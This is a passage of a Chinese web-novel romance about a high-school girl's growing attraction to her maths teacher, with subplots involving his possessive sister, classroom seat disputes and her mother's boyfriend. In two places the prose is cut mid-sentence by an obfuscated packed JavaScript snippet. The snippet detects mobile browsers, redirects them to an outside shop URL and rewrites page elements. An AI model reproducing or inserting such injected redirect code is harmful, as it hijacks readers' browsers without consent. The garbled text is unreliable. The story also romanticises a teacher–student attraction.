“你以后要找我提前约个地方,我可以请你吃饭,但别去找我妈,也别让赵晋来找我。” 最后两个分句,赵栩加重了语气,然后掀起眼皮看了他一眼,视线落在他眼角的皱纹,酸涩的情绪满满溢出。 目光不过留存几秒,她轻咬了下嘴唇,便强迫自己转过头,迈着大步离开街角,彻底回到光明里。 赵栩还负着气,闷头往前走,风风火火闯到拐角处时,却撞进了一个结实的胸膛。 那人的胸肌应当是壮且紧实,撞得她头疼。 赵栩甚至某一秒在怀疑,她是不是鬼打墙了,刚走出墙又撞墙。 赵栩失去了稳心,一个踉跄后仰,若非对方扶住,险些仰倒在地。 “没事吧?” 秦暮野眼疾手快,以近乎环住的方式,实际上用绅士手减小接触面积,搀住了赵栩。 待她站稳后,他立刻抽回了手,下意识后撤一步。 “我没事。”赵栩愣愣地摇头,整个人还晕乎乎的,由于皮肤细腻,额头浮现出一片淡粉色。 未见其人先闻其香,她捂着额头的手一抖,脑子空白几秒,抬头望着面前的男子,对上那双宁静无波的眸子,心道不好。 “老师好。”赵栩连忙低下头,做贼似的,眼睛找不准焦点,忍不住乱想: 他就在这附近,会不会听到他们的对话了? 如果他无意中听到她抓马的家事,会不会用异样的眼光看待她? 赵栩越想越烦躁,本以为抛弃在过去的自卑,又以本能深处的敏感为锄,翻腾出来,被迫重见天日。 她并不以出身为耻,却耻于告诉别人,自己从前的经历。 尤其是……她怕好朋友们知道,也怕秦暮野知道。 前者是她最好的朋友们,即便如此,她更不敢坦荡说出那段有别于同龄人的辛酸。 她很害怕,一旦旁人知道她有那样一段、几段不堪回首的往事,会同情她、疏远她,把她当做异类。 代价就是失去她们,这样的试错成本她承担不起。 后者是…… 赵栩怔怔地望着他的眼睛,不禁出了神。 那人眼中好似有一座山岭,浮动的浅雾环绕,拨开之后,山顶的晴雪瞧着孤冷,其实藏着温柔。 她呼吸稍乱,一时没想明白,心跳突然重了两下的缘由,可潜意识里有团凌乱的线,挥之不去。 像是一团活结,可还是拧巴在一起让人心乱。 与其说是解不开,不如说是不敢拆。 或许解开之后,等待她的,是一个违背常理的答案。 秦暮野若无其事看向一边,眼波微晃。 他本来在和别人吃饭,中途接到周暮谣的电话,让他去郊区接她回家,顺便捎一杯超大杯芭菲。 他买完单后提前走了,从甜品店出来后,就遇见了赵栩。 “要吃吗?”秦暮野见她神色怏怏,下意识把手中装有芭菲的袋子递了过去。 粉蓝相间的纸袋里装了一杯抹茶芭菲,周围铺着一层冰袋。 赵栩见包装精致,连忙摇摇头,用不经意的口吻开玩笑:“这是给您女朋友买的吧,我吃不太好。” 秦暮野依旧提着袋子,声音沉静有力:“我没有女朋友,你吃就行。” 像是得到了什么保证,赵栩不禁笑了,眉眼弯弯,甚至露出了洁白的牙齿,娇憨可爱。 “谢谢您,您也坐下吧。”她接过袋子,放在甜品店外设置的桌子上。 桌子是一条式,高脚凳摆了一排,赵栩长得没那么高,坐上去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14641035|156428||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稍稍吃力。 可秦暮野长得高腿还长,与她隔了一个位置,顺势坐下,却还是能闻到身边人的香水味,是近乎橙子的甜香。 赵栩打开塑料盖子,诱人的美味展露出来: 以戚风蛋糕为为底,浓郁的抹茶酱、青提、慕斯、奥利奥碎交替出现,构成了一杯清凉的夏季田园诗。 看起来就很好吃,她原本压抑着的心情,也被这份清爽的颜色稍稍稀释,也不见外,挖下一大勺,甜而不腻。 秦暮野与她相隔一个座位,就这么干坐着有点尴尬,于是手机下单点了一杯咖啡,忽然想到了什么,又往菜单里加了一些。 赵栩盯着眼前的玻璃,看似是在看自己,眼神早已飘忽到旁边那个令人心安的轮廓。 尽管模糊,在她脑海中已清晰千遍。 两人背靠着街道,热闹与他们擦肩而过,像是置身事外,将心照不宣的孤独悄悄藏起。 可是再抬头时,发现眼前远隔俗世的玻璃中,他们并不形单影只。 不知从何时起,彼此单调的世界,都步入了一个身影,巧合多了,便慢慢成为习惯。 心脏外的那层冰霜,也因为陪伴,而渐渐恢复跳动。 两位服务生很快用托盘端出来了餐点,那都是秦暮野额外点的。 有马卡龙、布丁、芒果蛋糕……甚至怕她吃得太甜,还有一张六寸培根披萨、炸鸡、土豆沙拉、红汁炖牛肉配面包。 在等餐的时候,犹豫了一会儿,秦暮野给妹妹发消息,让她不要久等,和同学结伴回市区。 发完这条消息后,他手机揣回口袋,自然也习惯性保持静音模式。 “要是不够我再点。”秦暮野见餐上齐了,端过咖啡抿了一口,嗓音沉沉。 赵栩看着这一桌,才想起自己还没吃午饭,摸着空空的肚子,五味杂陈的情绪忽然翻涌上来。 就算遇见这么糟心的事,还有人记得她没有吃饭。 一阵细密的酸疼撕扯着她的眼睑,赵栩竭力看向天空,天边的云依旧化成泪光,只待眼眶再也装不下悲伤,眼泪就流了下来。 尽管身处喧闹的街道,秦暮野依然能捕捉到这细微的啜泣声。 他亦知道,人在忍着哭声的时候,不喜欢有人问东问西,于是有意识地装作不知情,桃花眼里染上微不可察的笑,有意开起玩笑: “是不是这道菜里洋葱放多了。” 赵栩忙摇摇头,用纸巾胡乱蹭蹭,故意负气说: “您的香水味,熏得我眼睛疼。” 秦暮野浅笑着点点头,“抱歉,那我离你远点。”说着,他又向外挪了一个位置。 其实刚才父女的对话,他听到了一些,也能猜出赵栩的不高兴与之有关。 赵栩以为他要走,赶紧挽留:“您现在走了,我吃不完这一桌。” 秦暮野帮她续了一杯红茶,轻声嘱咐: “慢慢吃,不着急。” 要多慢呢? 反正他时间宽裕,可以一直等。 秦暮野现在还不知道,尽管他做过多少千奇百怪的数学题,仍然数不尽的是……他这一生,对赵栩说了多少遍: “慢慢吃。” 孙浩然还没走远,直觉告诉他, 看着氛围感不寻常的两人,他盯着秦暮野人模人样的背影,目光晦暗,不由得咬紧烟头,在心里点评道: 长得还行。 …… 郊区在城市西北偏北,故而天黑得格外早,最后一抹斜晖割裂昏晓,上面三分之二是灰紫交加的夜曲,剩下一片隐约泛白的天空,像极了尚未饮尽的芝麻糊牛奶。 车站风大,周暮谣就蹲坐在原地,把下巴搁在臂弯,愣愣地望着山外斜阳散去,望眼欲穿,眸中光斑亦渐渐暗沉。 快三个小时过去了,她早就感受不到腿部的酸麻,只是等待着秦暮野的到来。 她已经做好准备,如果哥哥不来接她,她会一直等下去。 终于,在不知面前疾驰而去第几辆车时,天穹陡然被染成一片藏蓝,她身侧的路灯都亮了起来,而那辆熟悉的黑色奔驰终于逆着夜色而来。 周暮谣缓缓起身,因为蹲得太久脚麻了,身形不免晃了晃,扶住一旁的树木才站稳。 秦暮野停稳车后,不敢耽搁分毫,带着一件薄外套从车上下来。 他两个多小时前给妹妹发完消息后,却一直没有得到回复,他放心不下,又连发了好几条消息,还是没有回复。 最后没办法,他只得去联系妹妹的同学,得知周暮谣没有和她们一起离开,才匆匆赶来。 “怎么不和同学一起回……” 秦暮野话还没说完,就被近乎漠然的怒气打断: “我同意了吗?” 周暮谣面对此时的哥哥,断然笑不出分毫,只有冷冷地看着他。 “你为什么不来接我?今天是休息日,有什么事情能让你出尔反尔?”她随手折断了一根树枝,泄愤似的,而后看向他的手中,又反问道:“芭菲呢?” “路上化了,被我吃了。”秦暮野愣了片刻,不慌不忙扯谎。又一阵风起,他将外套递了过去,嗓音放缓:“穿上吧,晚上要降温。” 递过去的是一件灰色棒球服,是他常放在车里的那件。 周暮谣看到哥哥还是关心自己的,眼底的不满渐次消融,愁绪一扫而空。 “谢谢哥哥,我不该和你发脾气。”她终于展露笑颜,不禁向前迈了一步,想去楼他的胳膊,却被对方不着痕迹避开。 周暮谣拿到外套后,正欲穿上,却嗅到了衣帽间陌生的香味。 再仔细闻闻,与秦暮野惯用的薄荷冷香不同,是清新的橙子香。 更进一步,是年轻女孩爱用的那种。 电光火石间,周暮谣忽然想通了什么,火气直冲天灵盖,狠狠地把外套扔回秦暮野怀里,横眉冷对,大声质问: “你是不是和女生约会去了,才没来接我?” 此刻她也顾不上是否反应过度,会不会给他留下骄横的坏印象。 “我再问一遍,有没有?” 怒火与醋意已经把她的理智燃烧殆尽,她凝视着那双眼睛,不放过任何一丝细节,只想问个清楚明白。 “没有。”秦暮野应答时,仍旧是那副从容的神色,只是眼睫略微闪动,眸中掠过半秒的愧意。 这一小小的细节,被周暮谣精准捕捉。 其实就算真的有,她作为妹妹,至少是他名义上的妹妹,也没有任何立场表示不满。 实际上,自秦暮野上大学以来,他的身边从不缺追求者。与他们同阶层的家庭,不乏想促成联姻,也想把女儿介绍给他。 他从来没有理睬过任何一人,雷打不动,美其名曰专注事业。 就算长辈给他安排相亲,秦暮野仍是微信不加面也不露,很是让一帮五六十岁的中年人下不来台,从此就就被安上了“恃才傲物”“不解风情”的坏名声。。 曾经有一个女生被秦暮野拒绝后失意不已,她的哥哥见妹妹伤心,故而就此记恨上了秦暮野,明里暗里造谣他有某方面功能的疾病。 而秦暮野对此不屑理会,对于那些越传越离谱的谣言,只觉幼稚。 眼见天快黑了,回程的高速路会堵,秦暮野向车子走去,打开了后排的车门,轻声提醒:“上车吧。” “那个女生叫什么名字?”周暮谣负气般脱口而出,唇边浮现出一丝没有感情的笑。 两个字如同刺破夜幕的笔尖,寂静的天边终见屡屡微光。 那双不悲不喜的眼中,原本定格的暗影,骤然被打乱。 秦暮野握紧把手,微微凝眸,却并不应答,朝着驾驶座的方向走去,打开车门。 在车门关闭的前一秒,周暮谣仿佛依稀听到了回应。 他的声音仍旧低沉淡然,只不过被微风吹乱,任风吹散: “不告诉你。” 27. 初恋这件小事(1) 当梦中赵栩再度睁开眼时,她又回到了运动会的操场。 彼时暑热难耐,高温融化了最后一丝温凉,热潮涌动涌动在这方沉闷的土地,灼起的波纹荡漾在空气中,憋得人喘不过气,亦使得周遭朦胧难辨。 赵栩还是坐在那个塑料凳上,伸出右腿,明明膝盖处鲜血直流,但一点都不疼。 怀着奇怪的心情,她扭头四下张望,没有看到一个人,额间的汗如雨而下,几乎要模糊双眼。 操场上更是干净得有些不像话,不仅见不到活物的影子,也听不到丝毫动静。 在这个诡异的气氛下,赵栩不禁打了个寒战,正要起身,忽然肩上一沉,被一双有力的手按了回去。 “你是……” 那人并不作声,直接走到她跟前,半跪下来低头替她处理伤口,让她有些莫名其妙。 这又是谁?她的伤口不是已经被处理过了吗? 大地向上返还着热气,赵栩如置蒸笼,脸颊的汗越抹越多,整个人也有点晕乎乎的。 随着眼前的场景混沌,她抢在视觉缭乱的前一秒,拍了拍对面之人的肩膀。 “你是谁啊?” 那人仍是沉默不言,手上的动作一顿,还是低着头,让人看不清他的脸。 赵栩揉了揉眼睛,又拼命眨了两下,视线逐渐归于清明时,眼前的一幕让她惊讶地瞪大了眼睛。 那人仍然以半跪的姿态,缓缓靠近她的伤处。 似乎近到,能感受到睫毛扫在冒血的创口,又痛又痒。 从赵栩的角度来看不够真切,俊挺的鼻梁之下,那抹疏离的浅红色,正在与她膝盖处的鲜红接近,让她心神一晃。 在她以为吻要落下来的前一秒,那人睫毛轻颤,掀起不带感情的眸子…… 把一杯冰凉的芭菲,靠在了她的流血处冰敷。 “啊!” 赵栩猛然起身,并连带着把蒙在脑袋上的被子扔在了地上。被闷久了之后,止不住地喘气汲取氧气。 待稍微冷静下来后,她把两只手覆在脸颊,感受皮肤的余温,又突然一个画面闪过,她强行让自己不要想,使劲拍了几下脸,企图把记忆拍出去。 可是那双再标致不过的桃花眼,像是刻在她的脑海一般,挥之不去。 强烈的羞耻感席卷而来,赵栩把脸埋进手心,对着呵出的热气,心跳得愈发快。 响彻在耳畔的心跳声,在清楚地提醒她,她梦见了不该梦见的人。 她耻于面对如此糟糕的梦境,对这个疯癫的世界有了实感。 都说人不能两次踏进同一条河流,可她两次梦见了同一个人,且对方都是以比较暧昧的形式出现。 尽管与之朝夕相处,那人却偏偏是她不能想的。 房间里静默无声,漆黑一片,靠近落地窗的地面,透出银灰色的光,依稀可辨清晨将至。 赵栩深吸一口气,把被子从地上拽起来,重新将自己裹在被子里。 在沉浸的黑暗中,一点一滴的回忆切成残碎的光影洒下,那双小鹿眼掠过若隐若现的光,随着不该有的心动,粼粼闪过。 直至5:55闹钟响起,揣着隐秘的心事,她都再也没能入睡。 …… 运动会已经是一个多周前的事情了,而短短的几天内,气温回落至初夏前的微凉,唯有点点浓墨重彩绽放,昭示着夏天的到来。 赵栩走到班级门口,并不着急进班,她先行打开走廊窗户,闻着逸散进来的阵阵清新,在走廊里吃早饭。 她把单词手册摊在窗台上,边背边啃鸡蛋灌饼,喝一口咖啡提神。 偶然抬眸,便能看到花坛里盛开的郁金香,温婉的粉色仿佛可以疗愈身心。花叶收拢了一个春日的灿烂,选在夏天迎着朝阳绽放浪漫。 可是一旁的橘子树已经不事芳华,徒留绿叶扎满枝头,丝毫不见纯白色的花影。 恍惚间,赵栩又想起几个月前的那天,树下的初遇,心神微晃,嘴角显出了未曾察觉的浅笑。 也许是她的错觉,她总觉得: 记忆中的那双眼睛,逐渐有了温度。 结缘的橘子花落了,可是她看了看手腕处依旧熠熠的手链,不禁莞尔,似乎也没什么可惜的。 班里依稀传出乌泱泱的吵闹声,而她沉浸在英语单词和窗外的风景,丝毫没有注意到班里的异样。 赵栩咬到鸡蛋灌饼的尾巴处,不由得眉头紧皱,停止了咀嚼,忍住想要吐出来的冲动。 所以为什么鸡蛋灌饼里会夹香菜,这是什么反人类的设计? 她捏着鼻子,硬着头皮往下咽,伸手去拿咖啡杯,余光里却出现了一个藏蓝色的影子。 随着他慢慢靠近,赵栩也不想喝咖啡了,赶紧面朝窗户装没看见,实则脑海里又浮现出凌晨的梦。 心脏快速跳动,带来了不可言说的情愫。 赵栩还在无意识地吃着早饭,却有一阵偏清甜的木质柑橘香,如同果粒捏碎后,果汁滴在松木上,浅尝味道,前调微苦后调却在回甘。 换香水了吗?她咬下生菜叶,一边猜测。 数学老师挺在她的身后,赵栩恨不得把头埋进早饭里,以遮掩不能见人的梦境。 “早自习要考试,吃完就进来吧。” 秦暮野只是稍作停留,简单叮嘱了一句,就拿着一摞试卷径直进班。 赵栩嗯了一声,然后确定人走进班里后,才把头抬起来。 她猛灌了一口咖啡,又对着窗深吸了一口清晨的冷气,才慢慢平复下来略微躁动的心绪。 一定是鸡蛋灌饼里有香菜,把她给毒害了,她想。 基于这个心思,赵栩像是试毒一样,塞下去了最后几口,像没事人似的走进班里,班级中却不想她想象中的安静。 虽然还有几分钟自习才正式开始,可是班级里比以往吵闹。 她的位置旁边,突然多了一张桌子,就成了三桌并排。 而韩明月和徐仲仪像是在吵架,秦暮野在一旁调解。 见此情形,赵栩连忙上前,视线在几个人之间转了个圈,不解地问:“怎么了?” 韩明月赶紧把人扯到身后,开始告状:“秦老师,栩栩,你们评评理!” “他。”她瞪了一眼徐仲仪,没好气地说:“祁老师都说了后天之前换完位置就行,他非要今天换……” “什么换位置?”赵栩顿觉疑惑,同时心中隐隐升起不好的预感。 还在打嘴仗的两人同时看向她,异口同声地问:“你不知道吗?” 就在上周末,祁老师在班群里发了新的座次表,要求在周四之前换完位置,而赵栩的新同桌是关毅,关毅又是个爱成人之美的人,和徐仲仪两人天天去烦祁老师。 最后祁老师不厌其烦,让他们自己看着办。 倒不是他作为班主任不负责任,只是徐仲仪以赵栩为鼓舞,确实有了很大的进步,他也不好说什么。 赵栩大概知道了前因后果,苦恼不已。 她虽然对徐仲仪没有什么意见,但是她能察觉到对方的心思,就这么当同桌终归不妥。 韩明月见徐仲仪还杵在那儿,有点不爽:“栩栩的同桌根本就不是你,你来凑什么热闹?” 对于赵栩的朋友,徐仲仪向来和颜悦色,于是会心一笑:“早换晚换,不都要换吗?” “我也不知道今天早晨要考试……”然后他转向数学老师,“对不起老师,我们很快解决完。” 韩明月却听出了话外之音,又气又急:“你是在道德绑架我吗?我就不换你自己看着办!” 本来只是小范围的风波,随着气氛越来越紧张,同学们纷纷扭头看戏。 赵栩肯定向着朋友,对男生的步步紧逼也有点生气了,更不想耽误其他的同学的时间。 “还有几分钟就要开始上自习了,你先回去吧,换位置这种小事不值得占用学习时间。”她罕见冷起了脸,然后忽然意识到语气有些严肃,抬眼看向数学老师。 遇上那双淡然的眼睛,她的心脏还是会不受控的悸动。 这一小小的瞬间,被徐仲仪精准捕捉,他又想起运动会上两人的互动。 而且曾有人告诉他,几天前他们在甜品店外一起吃饭……想到这里,强烈的危机感再次燃起。 男孩忍下心中的不悦,眼中的幽暗稍纵即逝,随后换上勉强的笑容,全算答应。 站在他身旁的韩明月,身旁忽地发冷,总觉得他和自己那位神经前男友越来越像。 潜意识告诉她,这个人没那么好说话。 秦暮野表示同意:“就这样吧,下课再说。” 话音刚落,早自习的铃声正好响起,秦暮野迈步走上讲台,柑橘的香气再次袭来,赵栩坐下后,摆弄着手链上的绿叶,稍稍平复。 卷子发下来后,她就很快进入了状态,题目做得还算顺当,唯有每次数学老师下去巡视,会稍微乱了几秒心神。 一二两节是连堂数学课,第一节课结束后,卷子被收了上去,赵栩才得空安慰朋友,笑着替她锤了锤肩膀。 韩明月刚消下去的气,又升了上来,趴在桌子上抱怨:“他害我没做好题。” “说真的。”她认真地看向赵栩,难得语重心长:“我觉得他奇奇怪怪的,是不是和柯明扬玩得好的,脑子都会不正常。” “不至于吧……”赵栩也趴在了课桌上,与她头对着头。 她们还没说几句,就听见讲台上的数学老师叫赵栩的名字。 赵栩把脸多埋进手臂一寸,睫毛扫过手心,抹去眼中转瞬而过的星光。 一周一次摇人做题的环节又到了,说起来她还是第一次被摇。 写了快两小时卷子,赵栩其实有点疲惫,不过没耽搁多久,她就起身去讲台上,抽出一根粉笔开始做题。 那道题是她期中没做完那道题的变式,和她一起被叫上讲台的,是当时同样没做完题目的齐舒。 掌握了期中卷的那道题,这道题虽然难度稍微加大,对于赵栩来说并不困难,但写求到斜率的加和,又卡住了。 “这里。” 那根沾染了白色粉笔的手指,修长优美,点了点她的步骤。 赵栩原本沉浸式做题,被突然打断,手上稍一用力,粉笔折了一半掉在地上。 秦暮野俯身捡起,用那根断掉的粉笔,在某步之前添了一个加入符号,淡声询问:“是不是少了一句话?” “嗯?”赵栩回想片刻,恍然顿悟,顺着那个加入符号,写下:如果k1=k2…… 秦暮野点头,“一定不要忘了斜率相等的情况,考试算一分。” “谢谢老师。”赵栩点头。 今天的他一改往日浅色系的穿衣风格,上身是藏蓝色短袖,搭了一条浅灰色裤子,愈发显得少年感十足,却又不失稳重的质感。 赵栩把视线移回黑板,内心默念题目,想让自己静下心来。 木质柑橘香仍然挥之不去,然后才意识到老师还站在身边,看她解题的步骤。 赵栩手中动作微顿,眼珠一转,写出了与思路不相符的、常见错误步骤。 秦暮野只是微微皱眉,本想指出,却意识到自己停留的时间略久,踱步离去。 在离开讲台之前,他眼中闪过些许无奈,放缓语气:“再仔细看看,不要犯低级错误。” 令人舒适的柑橘香消散了,赵栩扭头看向那个走下讲台的背影,莫名气闷,接着就拿起板擦擦去错误步骤,行云流水般写出正确的,边写边气鼓鼓地想: 就这么走了?不仔细讲讲? 数学连堂课内容充实,在赵栩看来更是越过越快,快到还没上多久,下课铃就响了起来。 第二节课结束后是大课间,走廊里以秦暮野为中心,围了一圈人,却没过多久,被祁老师都叫了进来。 “同学们,咱们用大课间开个班会,就照两张照片,很快的。”祁老师招呼同学们坐下。 秦暮野则说:“能让赵栩先出来一下吗?我有事情找她。” 赵栩以为是布置作业的事,从班级后门匆匆出去。 结果对方把一张作业纸条交给她后,又拿出了黑色的袋子,而袋子里面装的是一只红色的盒子,盒子上面有两只小鱼发卡。 而那两只小鱼发卡,正是她运动会上跳远时,让他保管的那两只。 秦暮野顿了顿,略表歉意:“运动会的时候,我忘记把发卡还给你了。” 在他平静的叙述中,赵栩得知,自己的发卡不小心被他家的猫啃了,发卡上的颜料都给磨掉了。 “没事的。”赵栩见他一脸认真的样子,婉拒笑笑,“就几块钱的东西。” 盒子的尺寸,快赶上两个手机盒了,且看起来沉甸甸的,里面应该装了很多发饰。 秦暮野把白盒子装回了黑袋子里,脸上依旧了无波澜,语气中却带了些坚持:“收下吧,我理应赔偿。” 走廊上有来往的同学,其实都不曾注意到这边,可是赵栩却不似往日坦荡,手指不自觉的按着手心。 面对突如其来的赠礼,一时间手足无措。 况且,哪有送别人东西用纯黑袋子的?一点仪式感都没有,外人看来他们特务似的在进行交易。 此时的赵栩还以为,秦暮野给她的发卡没什么特别的,应当 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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秦漾长得喜相,属于乱用脸的甜妹,就算收起笑容,仍是一副笑眯眯的表情,她清了清嗓子,依然用审视的目光盯着表哥。 “我可是专门从法国给你买的发卡,怎么谢我?”接着从精致的手提袋中拿出盒子,冲他扬了扬。 前几天秦漾和朋友去法国看比赛,旅行途中接到表哥的电话,没想到不常联系的表哥,第一句话居然是: “有什么推荐的发卡品牌吗?我不太懂这些。” 秦漾也没听到他后面说了什么,满心震惊于“老铁树开花了”,“作为表妹,有义务替他承包了全法国的发卡”云云,一口答应下来亲自帮他代购,并且定了最早的航班回国,亲自交到他手上。 其实秦暮野的本意,只是想赔给学生几个差不多的发卡,到没有多么在意品牌和价格。 但是到购物网站上看了一圈,总觉得拿那些十几二十块的赔给人家,会显得不够诚心,于是求助时尚达人表妹。 而现在,秦暮野看着八卦成精的表妹,无奈辩解:“不是你想的那样。” “我替别人保管发卡,而发卡被它咬了。”他指了指窝在钢琴盖上的木头,眼神中平静无波,好似问心无愧。 木头像是受到了心灵感应,从钢琴上蹦到椅子上,又跳了下来,迈着四条小短腿向他们飞奔过来,秦暮野俯身将它抱起,揉了揉它的脑袋。 可是它不似往日温顺,用两只小肉爪拍着他的胸膛,似乎在表示着它的不满: 欺负我不会说话,锅都给我背。 秦漾惊讶地捂住嘴,压抑着强烈的惊讶:“我的天哪,你还把女生带家里来了?” “说句实在话,除了姨姥姥、我,还有其她女性踏进过你家里吗?” 她点了点木头的鼻子,“就连它,性别都为男。” 秦暮野不想在这些莫须有的误会上多做解释,只是顺着小猫的毛。 “多少钱,我转给你?” 木头的身体太小,他一只手就能拢过来。 秦漾见他那副不紧不慢的样子,不由得打心里替他着急,“谈钱干什么?” “我敢保证,只要你明天能把女生领回家,我就把四中买下来指定你当校长!” 这话看似没谱,实则后者比前者更好实现。 秦暮野那张淡然的脸上,闻言覆上浅浅的笑意,并不回应,继而打开了支付宝。 木头对于他不坦诚的内心,继续表示着抗议,用小肉爪拍他结实的胸肌,无异于以卵击石,震得它嗷呜嗷呜。 “好了。”秦暮野换了个姿势抱木头,抬头看向表妹。 秦漾看到转账金额,眼睛瞪得两倍大,这个数字,这比她购入发卡的价格还多三倍。 “你是不是参加工作有点钱了就飘了……”她嘴上在调侃,实际想给他转回去。 秦暮野冲她轻轻摇头,“多的部分拿着当零花钱吧。” “有什么喜欢的就买,不够就问我要。” 至于秦暮野作为一个普通人民教师,为什么有底气说这话。 拿死工资肯定是没底气的,但是拼家产可以。 秦暮野的外公是房地产商,独生女秦初并没有经商天赋,只能守着房子们坐吃山空。 秦暮野现在拥有的大几十套房产,是他母亲留下的遗产,他就算不当老师,也是一个坐等收租的状态。 但他偶尔也会想,要那么多不动产似乎用处不大,他们又没法一一入住,索性把其中几套出租,也能创造新的财富。 秦漾尬笑一下,看着他这副把房子当棒槌的样子,总觉得那张脸有点欠欠的,心想担心他有没有女朋友属实多余了。 毕竟在绝对的有钱面前,爱情不值一提TAT “对了哥,什么时候把人带给我看看呀~”秦漾挑挑眉头,眉毛一上一下,看起来十分滑稽。 秦暮野不置可否,语调中毫无起伏。 “是谁失恋了之后蹲在马路上哭?你不适合提这个话题。” 眼见棘手的问题就这么被抛了回来,简直是杀敌一千自损八百。 这个人不仅把好心当驴肝肺,还用最平静的语气,说着最伤人的话。 秦漾冷不丁戳中痛处,忍下了想给他一拳的冲动,咬牙切齿地说: “你和猫过日子去吧!谁能看上你?” 气话归气话,秦漾调侃过后,看向那架钢琴,见其上被擦得干干净净,应当是近期弹奏过的样子。 看到较之以往爱说爱笑的表哥,她心里说不出的欣慰。 他愿意弹琴就好,最好有朝一日,听众不只有木头。 28. 初恋这件小事(2) 换座位的风波算是告一段落,赵栩最终的同桌是齐舒,她们之间虽然谈不上有多么相熟,但在赵栩看来,能和女生同桌简直是再好不过。 不过美中不足的是,徐仲仪换到了她的斜后方,本来她只需要一整天不回头,就眼不见心不烦,谁料祁老师嫌徐仲仪闹腾,直接把班长朱临清委派给他当同桌。 这样一来,赵栩每次回头找朱临清说话的时候,只能自动屏蔽掉旁边巨大一个麻烦。 学校周边新开了一家冒菜店,韩明月觉得学校里的味道太寡淡,于是趁着周六的中午,三人结伴出校门。 冒菜店里生意火爆,就像刺鼻且上头的辛辣味,弥漫在空气中的闹腾像是被火煮沸,尽管店内开着空调,依然给人汗流浃背之感。 三人坐了下来后,各自点了爱吃都口味,静候上菜的时候,韩明月一脸坏笑,眼皮恨不得贴在赵栩的发卡上。 “哟~好漂亮的小花花,看你带了一整个周,这么宝贝~”边说边按快门似的眨眼。 赵栩轻抚过额发间的小白花发卡,勉强收住嘴角的笑意,笑着瞪她,“偶尔换换风格不行吗?” 这朵精致的小白还发卡,被她戴出了锦上添花的优雅,宛如春雪河畔绽放的梨花,清风疏影。 一张素颜的脸纯净无瑕,不染尘埃,青涩美好。 “看你头戴小白花,有种丈夫没了的美。”韩明月挑挑眉毛,继续调侃朋友。 赵栩忍不住用脚轻碰她的,被逗笑了,“别胡说。” 旁边的朱临清算是知道发卡的来源,一言不发,默默地摆弄着手指。 几天前开班会时,她上台发言,无意中看到走廊里的两人,像是在推诿一盒什么东西。 再结合之前种种迹象,朱临清的猜测算是得到了证实。 可是在事情没坐实之前,也不好多说什么。 韩明月眼珠一转,也看出了什么,若有所思地笑了,“从实招来,是谁送的?” “是谁?把你连哄带骗的,连戴惯了的小鱼发卡都不要了?” 赵栩嗯了一声,然后双手托腮,绽开的笑容以两只手为叶,分外明媚。 “秘密。” 轻轻的两个字,如同在平静的湖水里扔了一块石头,惊醒了一池的鱼。 韩明月和朱临清同时做出呆滞表情,像极了复制粘贴,两人你看看我,我看看你,眼电波交流。 对于赵栩来说,只要头顶这个发卡一天,就像是快乐的外化,有意无意,也要让和所有人分享她的喜乐。 哪怕,它是虚晃而过,不得长久的。 真把现成的瓜喂到韩明月嘴边,她倒说不出来话了,只是反复疑惑,到底是谁有这么大本事,能让仙女下凡。 “你还好意思说我,你手机里那个帅弟弟又是什么情况,我记得是叫吴明恩来着……”赵栩不动声色抚过微热的脸,飞速转移话题。 两位朋友还在组织语言,一个又高又壮的小麦肤色帅哥,坐在了她们右侧桌,因为桌与桌之间挨得比较近,赵栩说话间,下意识侧头,注意到了男子。 男子约莫二十岁出头,阳光健气,顶着一张英俊的脸,但看起来厚道且憨,没什么心眼。 这么独一份儿的清澈愚蠢,她到底在哪里见过? 赵栩回想了稍许,豁然睁大眼睛,又连续瞟了男子好几眼,把其特征重新组合,才敢确定: 她爸曾给她看过妈妈现任男友的照片,应该就是这个人。 天底下就是有这么巧的事,此时邻桌的单子云还没意识到事情的严重性,还在和对面的女生聊天。 坐在他对面的女生,其实是赵梧楠新来的助理,单子云找助理出来,是为了商量给赵梧楠过生日的事。 以及想让助理出个法子,让女友的其余家庭成员,接纳他这个外人。 可是这在不知情的赵栩看来,是这个男的勾三搭四,没有正形。 赵栩本来在潜意识里就排斥“妈妈的男朋友”,这下更是怒向心生,要不是当着朋友的面,她真要一杯水泼下去。 “栩栩,栩栩?” 朱临清见她脸色沉闷,由晴转阴,有些不解地拍了拍朋友的肩膀。 “嗯。”赵栩猛然回过神来,咬着牙勉强笑笑,在桌下握紧拳头。 她势要把这个欺骗妈妈感情的坏人,永远赶走! …… 第二天,也就是礼拜日,就是赵梧楠的生日。 介于妈妈一整天都在公司,晚上才会回来,于是赵栩决定亲自操持晚饭,悄悄取消了妈妈订的晚宴,自己亲自下厨做饭。 对于做饭这件事,赵栩只会一点点,经过了多次的失败,也能勉强做出可以入口的食物了。 她正在准备芝士脆皮鸡这道菜,琵琶腿去骨看起来容易,操作起来并不简单。 “姐姐姐姐。”赵柠在一旁打下手,帮忙手撕芝士条,有些好奇地问:“你准备这么多菜,吃不完怎么办?” “那个虾放到第二天就不新鲜了。” “你不是不喜欢吃香菜吗?为什么拌牛肉里要放?” 小孩子处在问题多的年纪,赵栩放软语气,一个一个耐心回答:“我都做小份的,肯定吃得完。” “妈妈爱吃香菜拌牛肉……再说了,你不也不爱吃香菜,别推到我一个人身上。”她忍不住笑了。 赵栩还想捏捏妹妹肉嘟嘟的脸,又意识到手上正在处理生肉,收回了手。 赵柠往嘴里塞了一小把芝士,眨巴着天真的大眼睛,犹豫了片刻,说:“姐姐,我们就准备三套餐具,会不会不够啊?” 她年纪小,也不是什么都不知道,虽然不是赵栩的亲妹妹,但和姐姐一样早慧,遇事敏感。 听到这话,赵栩切肉的手稍作停顿,刀锋一偏,在手指上留下浅浅的血痕。 